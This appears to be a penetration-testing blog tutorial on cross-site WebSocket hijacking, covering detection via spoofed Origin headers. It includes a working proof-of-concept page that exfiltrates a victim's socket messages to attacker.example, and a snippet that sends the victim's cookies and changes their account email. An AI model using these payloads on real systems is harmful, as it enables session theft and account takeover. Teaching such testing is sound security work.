cd ../blog

Cross-Site WebSocket Hijacking: When the Handshake Skips CSRF

A WebSocket handshake authenticated only by cookies and lacking origin checks lets an attacker page open an authenticated socket and read or send messages as the victim. We cover detection and a working CSWSH PoC.

Cross-site WebSocket hijacking (CSWSH) is CSRF for the WebSocket handshake. The handshake is an ordinary HTTP request, so it carries the victim's cookies; if the server authenticates the socket purely from those cookies and never checks the Origin header or a per-connection token, an attacker page can open an authenticated WebSocket to the target and then read and send messages as the victim.

Where it hides

Anywhere the app upgrades to ws:///wss:// for authenticated, real-time data is a candidate. Find the sockets and inspect their handshakes:

  • Chat, messaging, notifications, and presence channels.
  • Live dashboards, trading tickers, collaborative editors.
  • "Live agent" support consoles and admin event streams.
  • GraphQL subscriptions over WebSocket.

Capture the handshake (Burp's WebSockets history, or DevTools -> Network -> WS) and examine what authenticates it:

GET /ws/notifications HTTP/1.1
Host: app.example.com
Upgrade: websocket
Connection: Upgrade
Origin: https://app.example.com
Cookie: session=...
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13

The questions that decide exploitability:

  • Is the connection authenticated only by the Cookie? (no token in the URL or first message)
  • Does the server validate Origin? Replay the handshake with Origin: https://evil.com and see if it still upgrades (101 Switching Protocols).
  • Is there a CSRF token or auth token required in the first frame? If not, the cookie alone authorizes everything.

A handshake that succeeds with a foreign Origin and no token is the tell.

Reproducing it

The PoC is a page on your origin that opens the socket; the victim's browser attaches their cookies automatically, and you receive their data. Host this and have a logged-in victim visit:

<script>
// Runs on evil.com against a victim logged in to app.example.com
const ws = new WebSocket("wss://app.example.com/ws/notifications");

ws.onopen = () => {
  // The socket is already authenticated by the victim's cookies.
  // Send whatever the protocol expects to pull data:
  ws.send(JSON.stringify({ action: "subscribe", channel: "inbox" }));
  ws.send(JSON.stringify({ action: "list_messages" }));
};

ws.onmessage = (e) => {
  // Exfiltrate every message the victim's session receives
  navigator.sendBeacon("https://attacker.example/steal", e.data);
};
</script>

If your listener at attacker.example/steal receives the victim's private messages/notifications, the hijack succeeded — the cross-origin page read authenticated socket data. That captured traffic is the finding.

Because WebSockets are bidirectional, you can also send as the victim. If the protocol allows state-changing messages, drive one and observe the effect:

ws.onopen = () => {
  ws.send(JSON.stringify({ action: "send_message",
                           to: "attacker@evil.com",
                           body: "exfil: " + document.cookie }));
  ws.send(JSON.stringify({ action: "update_settings",
                           email: "attacker@evil.com" }));
};

If the action lands (a message sent from the victim, a setting changed), you have demonstrated write-side impact, not just read.

To first confirm the Origin gap without a full page, replay the raw handshake with a spoofed origin and watch for the upgrade:

# A 101 response with a foreign Origin == no origin check on the handshake
websocat -H 'Origin: https://evil.com' 'wss://app.example.com/ws/notifications'

Going further

Impact equals whatever the channel carries and accepts:

  • Read private messages, notifications, live order/account data streamed over the socket.
  • Send messages, place actions, or change settings if the protocol exposes write operations.
  • Harvest tokens or secrets pushed through the socket after connect.

A practical recon habit is to take each authenticated WebSocket handshake, replay it with Origin: https://evil.com and the victim's cookies, and check for 101 Switching Protocols — that one test tells you the handshake is forgeable. Then enumerate which messages the socket accepts to gauge read-versus-write impact. Capture the handshake (showing the foreign origin accepted), the PoC page, and the exfiltrated frames or the state change you triggered. Use an account you control as the victim, on authorized scope only.